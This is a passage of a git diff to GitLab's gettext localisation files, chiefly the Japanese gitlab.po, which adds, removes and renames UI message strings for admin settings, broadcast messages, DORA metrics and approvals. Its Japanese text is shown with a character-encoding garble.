-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index 86a519d4a64..d4a67d920b7 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr " %{start} ã‹ã‚‰ %{end} ã¾ã§"
@@ -659,6 +659,9 @@ msgstr "%{italic_start}新機能%{italic_end} ã¯éžã‚¢ã‚¯ãƒ†ã‚£ãƒ–ã§ã‚ã‚Šã€è
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "ä¸Šé™ %{maxIssueCount} 件ã®ã†ã¡ %{itemsCount} 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}実際ã®ãƒ¬ã‚¹ãƒãƒ³ã‚¹:%{labelEnd} %{headers}"
@@ -731,6 +734,9 @@ msgstr "%{level_name} 㯠%{group_level_name} グループã«å«ã‚られã¾ã›ã
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ã¯è¨±å¯ã•ã‚Œã¾ã›ã‚“。フォークã—ãŸã‚½ãƒ¼ã‚¹ãƒ—ロジェクトã¯ã‚ˆã‚Šå¯è¦–性ãŒä½Žã„ã‹ã‚‰ã§ã™ã€‚"
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "タイトルã‹ã‚‰ %{link_start} %{draft_snippet} ã®ãƒ—レフィックス %{link_end} を削除ã—ã¦ã€æº–å‚™ãŒã§ã次第マージリクエストをマージã§ãるよã†ã«ã™ã‚‹ã€‚"
@@ -861,6 +867,12 @@ msgstr "%{project_path} ã¯ã€GitLab プロファイルã«READMEを追加ã™ã‚‹ã
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} を追加ã™ã‚‹ãã¾ã›ã‚“ã§ã—ãŸ: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} リリース"
@@ -877,6 +889,10 @@ msgstr "%{reportType} ã®æ½œåœ¨çš„㪠%{vulnMessage} ã‚’ %{totalStart}%{total}%{
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}ã‚‚ã†ä¸€åº¦è©¦ã™%{retryButtonEnd} ã¾ãŸã¯ %{newFileButtonStart}æ–°ã—ã„ファイルを添付ã™ã‚‹%{newFileButtonEnd}。"
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1010,10 +1023,6 @@ msgstr "%{template_project_id} ã¯ä¸æ˜Žã€ã¾ãŸã¯ç„¡åŠ¹ã§ã™"
msgid "%{text} is available"
msgstr "%{text} ãŒåˆ©ç”¨ã§ãã¾ã™ã€‚"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} ã¯ãƒãƒ¼ãƒ³ã‚¢ãƒƒãƒ—ãƒãƒ£ãƒ¼ãƒˆã‚’サãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã›ã‚“"
@@ -1409,8 +1418,8 @@ msgid_plural "%d roles"
msgstr[0] "役割 %d 件"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "%{num}ユーザー"
+msgid_plural "%d users"
+msgstr[0] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1633,6 +1642,9 @@ msgstr "rebase を実行ã—ã¦ã„ã¾ã™ã€‚"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "次ã®IPアドレスã‹ã‚‰ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸ã®ã‚µã‚¤ãƒ³ã‚¤ãƒ³ãŒè¡Œã‚ã‚Œã¾ã—ãŸ: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "タイトルã¯å¿…須項目ã§ã™"
@@ -1777,9 +1789,6 @@ msgstr "AWS アクセスキー ID (オプション)"
msgid "AWS secret access key (Optional)"
msgstr "AWS シークレットアクセスキー (オプション)"
-msgid "AWS service error: %{error}"
-msgstr "AWS サービスエラー: %{error}"
-
msgid "Abort"
msgstr "中止"
@@ -1828,9 +1837,6 @@ msgstr "アクセス トークン"
msgid "Access denied for your LDAP account."
msgstr "ã‚ãªãŸã® LDAP アカウントã®ã‚¢ã‚¯ã‚»ã‚¹ãŒæ‹’å¦ã•ã‚Œã¾ã—ãŸã€‚"
-msgid "Access denied: %{error}"
-msgstr "アクセス拒å¦: %{error}"
-
msgid "Access expires"
msgstr "アクセスã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¾ã™"
@@ -1990,7 +1996,7 @@ msgstr "アクション"
msgid "Activate Service Desk"
msgstr "サービスデスクを有効ã«ã™ã‚‹"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "折りãŸãŸã¿å¯èƒ½ãªã‚»ã‚¯ã‚·ãƒ§ãƒ³ã‚’追加"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "ã“ã®è¡Œã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
@@ -2446,15 +2455,18 @@ msgstr " アクティブãªãƒ¦ãƒ¼ã‚¶ãƒ¼"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "%{billable_users_link_start}請求対象%{billable_users_link_end} 以外ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚‚å«ã‚€ã€ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹å†…ã«ä½œæˆã•ã‚ŒãŸã™ã¹ã¦ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã€‚"
-msgid "AdminArea|Billable users"
-msgstr "請求ã®å¯èƒ½ãªãƒ¦ãƒ¼ã‚¶ãƒ¼"
-
msgid "AdminArea|Blocked users"
msgstr "ブロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼"
msgid "AdminArea|Bots"
msgstr "ボット"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "コンãƒãƒ¼ãƒãƒ³ãƒˆ"
@@ -2536,9 +2548,18 @@ msgstr "ジョブをåœæ­¢"
msgid "AdminArea|Stopping jobs failed"
msgstr "ジョブã®åœæ­¢ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "全ユーザー"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr "最新ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’表示"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "統計ã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps ドメイン"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr "シートを使用中"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr "個人プロジェクトã¯æ®‹ã‚Šã¾ã™"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "個人プロジェクトã€ã‚°ãƒ«ãƒ¼ãƒ—ã€ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®å±¥æ­´ã¯ãã®ã¾ã¾æ®‹ã‚Šã¾ã™"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr "有効期é™ãŒåˆ‡ã‚Œã‚‹ã¨ã€ãƒžãƒ¼ã‚¸æ‰¿èªã€ã‚¨ãƒ”ックã€ãã®ä»–
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr "有効期é™ãŒåˆ‡ã‚Œã‚‹ã¨ã€ãƒžãƒ¼ã‚¸æ‰¿èªã€ã‚¨ãƒ”ックã€ãã®ä»–多ãã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£æ©Ÿèƒ½ãŒä½¿ç”¨ã§ããªããªã‚Šã¾ã™ã€‚"
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "エクスãƒãƒ¼ãƒˆãŒå®Œäº†ã—ãŸã‚‰ã€é€šçŸ¥ãƒ¡ãƒ¼ãƒ«ã¾ãŸã¯ã“ã®ãƒšãƒ¼ã‚¸ã‹ã‚‰ãƒ‡ãƒ¼ã‚¿ãƒ•ã‚¡ã‚¤ãƒ«ã‚’ダウンロードã—ã¾ã™ã€‚ ãã®å¾Œã€åˆ¥ã® GitLab インスタンス㮠%{strong_text_start}æ–°ã—ã„グループã®ä½œæˆ%{strong_text_end} ページã‹ã‚‰ãƒ‡ãƒ¼ã‚¿ ファイルをインãƒãƒ¼ãƒˆã§ãã¾ã™ã€‚"
@@ -4102,9 +4144,6 @@ msgstr "エピックã®ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆæ¸ˆã¿ã‚¿ã‚¤ãƒˆãƒ«ã‚’追加ã™ã‚‹éš›ã«
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "グループパスã®ç¢ºèªä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚æ›´æ–°ã—ã¦ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
@@ -4273,15 +4312,6 @@ msgstr "マージリクエストã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr "マージリクエストã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "パイプラインジョブã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -4568,6 +4595,18 @@ msgstr "コメントを %{shrug} ã«è¿½åŠ "
msgid "Append the comment with %{tableflip}"
msgstr "コメントを%{tableflip} ã«è¿½åŠ ã—ã¾ã—ãŸ"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "アプリケーション"
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr "æ案をé©ç”¨..."
msgid "Applying suggestions..."
msgstr "æ案をé©ç”¨..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "承èªãƒ«ãƒ¼ãƒ«"
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr "ブロードキャストメッセージã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸ
msgid "Broadcast Messages"
msgstr "ブロードキャストメッセージ"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "ディレクトリを表示"
@@ -7668,6 +7803,9 @@ msgstr "グループã«æ‰€å±žã—ã¦ã„ãªã„ãŸã‚ã€ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’プロモー
msgid "Cannot promote issue due to insufficient permissions."
msgstr "権é™ãŒä¸å分ãªãŸã‚ã€ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’プロモートã§ãã¾ã›ã‚“。"
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,15 +7917,12 @@ msgstr "パスワードを変更ã—ã¦ãã ã•ã„"
msgid "Change your password or recover your current one"
msgstr "パスワードを変更ã™ã‚‹ã‹ã€ç¾åœ¨ã®ãƒ‘スワードを入力ã—ã¦ãã ã•ã„"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "未割り当ã¦"
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "ãƒã‚§ãƒªãƒ¼ãƒ”ック"
@@ -8066,6 +8201,9 @@ msgstr "支払ã„を続行"
msgid "Checkout|Country"
msgstr "国"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "æ–°ã—ã„グループを作æˆ"
@@ -8225,12 +8363,6 @@ msgstr "å­"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "å­ã‚¨ãƒ”ックã¯å­˜åœ¨ã—ã¾ã›ã‚“。"
-
-msgid "Child epic doesn't exist."
-msgstr "å­ã‚¨ãƒ”ックãŒã‚ã‚Šã¾ã›ã‚“。"
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr "状態"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "種類"
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "クリックã—ã¦å±•é–‹ã€‚"
@@ -8640,12 +8778,18 @@ msgstr "クローズã—ãŸã‚¤ã‚·ãƒ¥ãƒ¼"
msgid "Closed this %{quick_action_target}."
msgstr "%{quick_action_target} ã‚’é–‰ã˜ãŸã€‚"
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "ã“ã® %{quick_action_target} ã‚’é–‰ã˜ã‚‹ã€‚"
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Google Cloud Platform (GCP) ã®ã™ã¹ã¦ã®æ–°è¦ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«ã¯ã€300ドル分ã®ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆãŒä»˜ä¸Žã•ã‚Œã¾ã™ %{sign_up_link} 。ã¾ãŸã€Google ã¨ã®ãƒ‘ートナーシップã«ã‚ˆã‚Šã€Google Kubernetes Engine 㨠GitLab ã®ã‚¤ãƒ³ãƒ†ã‚°ãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ã‚’開始ã™ã‚‹ãŸã‚ã«ã€æ–°è¦ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãƒ»æ—¢å­˜ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’å•ã‚ãšã€GCP アカウントã«è¿½åŠ ã®200ドル分ã®ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚’æä¾›ã—ã¾ã™ã€‚"
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "EKS プロãƒã‚¤ãƒ€ãƒ¼ã®è¨­å®šã«å¤±æ•—ã—ã¾ã—ãŸ: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Google Kubernetes Engine ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ %{message} ã®è¨­å®šã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "CloudFormation スタックã®å–å¾—ã«å¤±æ•—ã—ã¾ã—ãŸ: %{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Google Cloud Platform ã¸ã®è¦æ±‚ %{message} ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Kubeclientã®å®Ÿè¡Œã«å¤±æ•—ã—ã¾ã—ãŸ: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLabã‚’çµ±åˆ"
@@ -9812,6 +9941,9 @@ msgstr "関連ã™ã‚‹ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
msgid "Committed by"
msgstr "コミット担当者: "
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "コミュニティフォーラム"
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "次ã®ã‚¹ãƒ†ãƒƒãƒ—ã«é€²ã¿ã¾ã™"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "継続的インテグレーションã¨ãƒ‡ãƒ—ロイ"
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr "指定ã•ã‚ŒãŸé–‹å§‹ã‚¤ãƒ™ãƒ³ãƒˆã«ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“"
msgid "CycleAnalytics|project dropdown filter"
msgstr "プロジェクトドロップダウンフィルター"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGã®å¯è¦–化ã«ã¯ã€å°‘ãªãã¨ã‚‚3ã¤ã®ä¾å­˜æ€§ã®ã‚るジョブãŒå¿…è¦ã§ã™ã€‚"
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr "ã™ã¹ã¦"
msgid "DashboardProjects|Personal"
msgstr "個人"
-msgid "DashboardProjects|Trending"
-msgstr "トレンド"
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr "コンãƒãƒ¼ãƒãƒ³ãƒˆå"
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "JSONエクスãƒãƒ¼ãƒˆ"
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
